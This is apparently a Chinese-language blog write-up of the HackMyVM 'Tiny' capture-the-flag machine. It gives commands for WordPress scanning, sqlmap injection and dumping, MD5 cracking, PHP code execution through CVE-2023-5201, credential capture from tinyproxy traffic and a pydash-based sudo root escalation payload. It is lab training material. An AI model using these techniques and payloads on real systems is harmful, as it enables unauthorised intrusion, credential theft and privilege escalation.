hackmyvm-tiny
https://hackmyvm.eu/machines/machine.php?vm=Tiny
靶机 | 攻击机 | |
---|---|---|
IP | 192.168.31.227 | 192.168.31.80 |
信息收集
在HOSTS或/etc/hosts中加上这一句:
192.168.31.227 tiny.hmv
开放了22、80、8888端口
80端口存在robots.txt
用的是wordpress
cmseek
cmseek扫描:
cmseek -u http://192.168.31.227
wpscan
wpscan扫描:
wpscan --api-token <替换为自己的api-token> --url http://192.168.31.227
枚举一下用户名:
wpscan --api-token <替换为自己的api-token> --url http://192.168.31.227 -e u
两个用户admin和umeko
看robots.txt:
貌似也没什么 ×
wfuzz 爆破子域名
有子域名wish.tiny.hmv
那就爆一下子域名:
wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u tiny.hmv -H "Host: FUZZ.tiny.hmv"
啊这没爆出来。。
ffuf 爆破子域名
得换个字典了:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://tiny.hmv' -H 'HOST:FUZZ.tiny.hmv' --fs 24176 # 24176为Size
其实最后得到的是wish.tiny.hmv子域名
grep -n -r '^wish$' /usr/share/seclists
这就不跑了,直接改hosts文件
直接访问http://wish.tiny.hmv/
发现了一个登陆框
sqlmap
抓包后测试:
加上单引号前后的返回不同,故判断存在盲注型SQL注入
直接抓包让sqlmap跑:
sqlmap -l 12 --batch --dbs
sqlmap -l 12 --batch -D wish_db --tables
sqlmap -l 12 --batch -D wish_db -T admin --columns
sqlmap -l 12 --batch -D wish_db -T admin -C "username,password" --dump
umeko | 8df4387dd1598d4dcf237f9443028cec
john tmp --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5
或者拿去cmd5网站解密
这里得到密码是fuckit!
即 umeko / fuckit!
拿到http://tiny.hmv/wp-admin登录
wpscan-插件漏洞
进入之后没思路,就继续用wpscan扫
扫插件的漏洞:
wpscan --api-token <替换为自己的api-token> --url http://192.168.31.227 -e vp --plugins-detection aggressive
这里的vp表示Vulnerable plugins,具体的可看wpscan -h
ap就是所有的插件
说明是CVE-2023-5201漏洞,漏洞描述:https://wpscan.com/vulnerability/5bd9fbd2-26ea-404a-aba7-f0c457a082b6/?__cf_chl_rt_tk=3MxFU35kiVlugIpfvmJWGCFbP2yv6VsJ1BLSZpqU9d8-1708517736-0.0-4455
漏洞利用:
点那个Welcome就进入编辑页面:
[php]
<?php phpinfo();?>
[/php]
编辑完后update,然后view post
发现执行了代码
注:经测试,文章的author 必须是 admin
之后就是常规的连蚁剑弹shell了
但是发现了报错
直接弹shell:
成功接收
优化shell:
# 查看运行的端口
ss -tlnp
发现有个本地的8000端口,用socat转发到8080来便于访问:
socat tcp-listen:8080,reuseaddr,fork tcp:127.0.0.1:8000
访问8080端口后发现登录框:
需要用户名和密码
tinyproxy服务
接着看看nmap的结果,发现8888端口有个tinyproxy服务
pspy64
接着上传pspy64运行,发现有如下进程:
查看这个tinyproxy服务的配置文件:
cd /etc/tinyproxy
cat tinyproxy.conf| grep -v '^#' | grep -v '^$'
User tinyproxy
Group tinyproxy
Port 8888
Timeout 600
DefaultErrorFile "/usr/share/tinyproxy/default.html"
StatFile "/usr/share/tinyproxy/stats.html"
LogFile "/var/log/tinyproxy/tinyproxy.log"
LogLevel Info
PidFile "/run/tinyproxy/tinyproxy.pid"
Upstream http localhost:1111
MaxClients 100
Allow 127.0.0.1
Allow ::1
Allow 192.168.0.30
ViaProxyName "tinyproxy"
内容解释:
这段配置信息是针对Tinyproxy的,一个轻量级的HTTP代理服务器,广泛用于为小型网络提供代理服务和缓存支持。下面是对每个配置项的详细解释:
User tinyproxy: 这指定了Tinyproxy进程运行时使用的用户身份。出于安全原因,通常不建议以root用户运行网络服务。
Group tinyproxy: 这指定了Tinyproxy进程运行时使用的组身份。这有助于限制该进程的系统资源访问权限。
Port 8888: Tinyproxy将监听此端口,等待进来的HTTP请求。8888是这里配置的端口号,但可以根据需要更改。
Timeout 600: 这是客户端连接超时时间,单位是秒。如果一个连接在指定时间内没有活动,Tinyproxy将关闭该连接。
DefaultErrorFile "/usr/share/tinyproxy/default.html": 当发生错误时,Tinyproxy将向客户端显示这个HTML文件。这里指定了错误页面的路径。
StatFile "/usr/share/tinyproxy/stats.html": 这个文件用于显示Tinyproxy的统计信息,包括请求的数量等。
LogFile "/var/log/tinyproxy/tinyproxy.log": 这指定了Tinyproxy日志文件的存储位置,用于记录运行时的各种信息和错误。
LogLevel Info: 这定义了日志记录的详细程度。等级"Info"表示会记录一般的信息。还有其他级别,如Debug、Warning和Error。
PidFile "/run/tinyproxy/tinyproxy.pid": 这个文件用于存储Tinyproxy主进程的进程ID(PID),通常用于脚本中控制启动和停止服务。
Upstream http localhost:1111: 这是上游代理设置,意味着所有通过Tinyproxy的请求都会被转发到指定的上游代理服务器(在这个例子中是运行在localhost上的另一个代理,监听1111端口)。
MaxClients 100: 这限制了最大并发客户端连接数。在此配置中,最多100个客户端可以同时通过Tinyproxy访问。
Allow 127.0.0.1: 这指定了哪些IP地址被允许使用代理。127.0.0.1表示只有从本地机器上发出的请求被允许。
Allow ::1: 这同样是IP地址许可设置,但针对的是IPv6的本地回环地址。
Allow 192.168.0.30: 允许来自IP地址192.168.0.30的设备使用这个代理。这可以用于允许特定的内网设备通过代理访问外部网络。
ViaProxyName "tinyproxy": 当请求通过Tinyproxy代理时,Via头部会被添加到HTTP请求中,ViaProxyName的值就是这个头部的值。这用于追踪HTTP请求是如何被转发的。在此配置中,通过Tinyproxy的所有请求都会添加一个Via: tinyproxy的头部,表明这个请求是通过Tinyproxy转发的。
重要的几项:
Port 8888: Tinyproxy将监听此端口,等待进来的HTTP请求。8888是这里配置的端口号,但可以根据需要更改。
Upstream http localhost:1111: 这是上游代理设置,意味着所有通过Tinyproxy的请求都会被转发到指定的上游代理服务器(在这个例子中是运行在localhost上的另一个代理,监听1111端口)。
这里由tinyproxy监听的8888转发到本地的1111端口,来看看本地的1111收到的是什么:
www-data@tiny:/etc/tinyproxy$ nc -lvp 1111
listening on [any] 1111 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 36894
GET http://127.0.0.1:8000/id_rsa HTTP/1.1 # 注意这里还有id_rsa
Host: 127.0.0.1:8000
Connection: close
Via: 1.1 tinyproxy (tinyproxy/1.11.1)
Authorization: Basic cm9vdDpRMlg0OXQ0V2pz # 注意这里的cm9vdDpRMlg0OXQ0V2pz
User-Agent: curl/7.88.1
Accept: */*
将cm9vdDpRMlg0OXQ0V2pz进行base64解码后为:
root:Q2X49t4Wjs
再来看nginx的配置文件下有什么:
www-data@tiny:/etc/nginx$ cat .htpasswd
root:$apr1$mTQVB6Ga$hUpGEKaumDOxGaccDABRj0
解析:
这个字符串是一个加密后的密码,使用的是Apache的MD5算法版本(通常表示为apr1)。这种格式常见于Unix和Linux系统中用于存储密码,例如在.htpasswd文件中用于Apache HTTP服务器的基本认证,或在其他需要保存加密密码的场景。
解析这个字符串的各个部分:
root: 这是用户名,表明这个密码是为root用户设置的。
$apr1$: 这部分指示使用的加密算法是Apache的MD5算法。
mTQVB6Ga: 这是“salt”值,一个随机生成的字符串,用于增加加密过程的复杂性和安全性。在MD5算法中,salt和用户的明文密码结合在一起,然后进行加密,这样即使两个用户有相同的密码,由于salt不同,他们的加密密码也会不同。
hUpGEKaumDOxGaccDABRj0: 这是实际的加密密码,是用户密码加上salt之后,通过MD5加密算法加密生成的。
最后再来看8000端口被nginx怎么处理:
cd /etc/nginx
grep -n -r "8000"
cat sites-available/default |grep -v "^#" | grep -v "^$"
server {
listen 127.0.0.1:8000;
server_name private.tiny.hmv;
root /var/www/private;
location / {
auth_basic "Restricted Content";
auth_basic_user_file /etc/nginx/.htpasswd;
try_files $uri $uri/ =404;
}
}
综合这三处,说明字符串root:Q2X49t4Wjs 经过base64编码,经过盐为mTQVB6Ga的md5加密,生成hUpGEKaumDOxGaccDABRj0。
8000端口用上面的root:Q2X49t4Wjs来进行鉴权,符合后就能获得8000端口下的id_rsa文件
即:
socat tcp-listen:8080,reuseaddr,fork tcp:127.0.0.1:8000
访问http://192.168.31.227:8080/
账号密码为root:Q2X49t4Wjs
访问http://192.168.31.227:8080/获得私钥id_rsa
tldr socat
私钥登录
利用私钥:
ssh2join id > tmp
chmod 600 id
ssh-keygen -y -f id # 提取公钥
从公钥中可知用户名为vic
事实上也可以不提取公钥,将中间那部分强行进行base64解码即可得到用户名:
使用私钥登录:
ssh vic@192.168.31.227 -i id
照例sudo提权
─vic@tiny ~
╰─$ sudo -l
Matching Defaults entries for vic on tiny:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User vic may run the following commands on tiny:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/car.py*
/opt/car.py内容:
╭─vic@tiny /opt
╰─$ cat car.py
import sys
import random
import pydash
class Car:
def __init__(self, model, year):
self.model = model
self.year = year
self.id = random.randint(1, 99999)
def get_info(self, info_type):
if info_type == "model":
return self.model
elif info_type == "year":
return self.year
elif info_type == "id":
return self.id
def poc(path, arg):
obj = Car('Sedan', 2011)
res = pydash.objects.invoke(obj, path, arg)
print(res)
if __name__ == '__main__':
if len(sys.argv) < 3:
print('Missing args: %s <path> <arg>' % sys.argv[0])
sys.exit(1)
poc(sys.argv[1], sys.argv[2])
根据res = pydash.objects.invoke(obj, path, arg)这部分,其中obj自己提供,path和arg我们可以添加
pydash漏洞
这是pydash有关的漏洞:https://github.com/advisories/GHSA-8mjr-6c96-39w8
poc:
sudo /usr/bin/python3 /opt/car.py __init__.__globals__.random._os.system bash
即
/opt/car.py.__init__.__globals__.random._os.system('bash')
跟模板注入相似,这里的/opt/car.py是对象
提权成功
参考
https://mp.weixin.qq.com/s/6CCpRS78VFDvCMoXdW7-5g
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)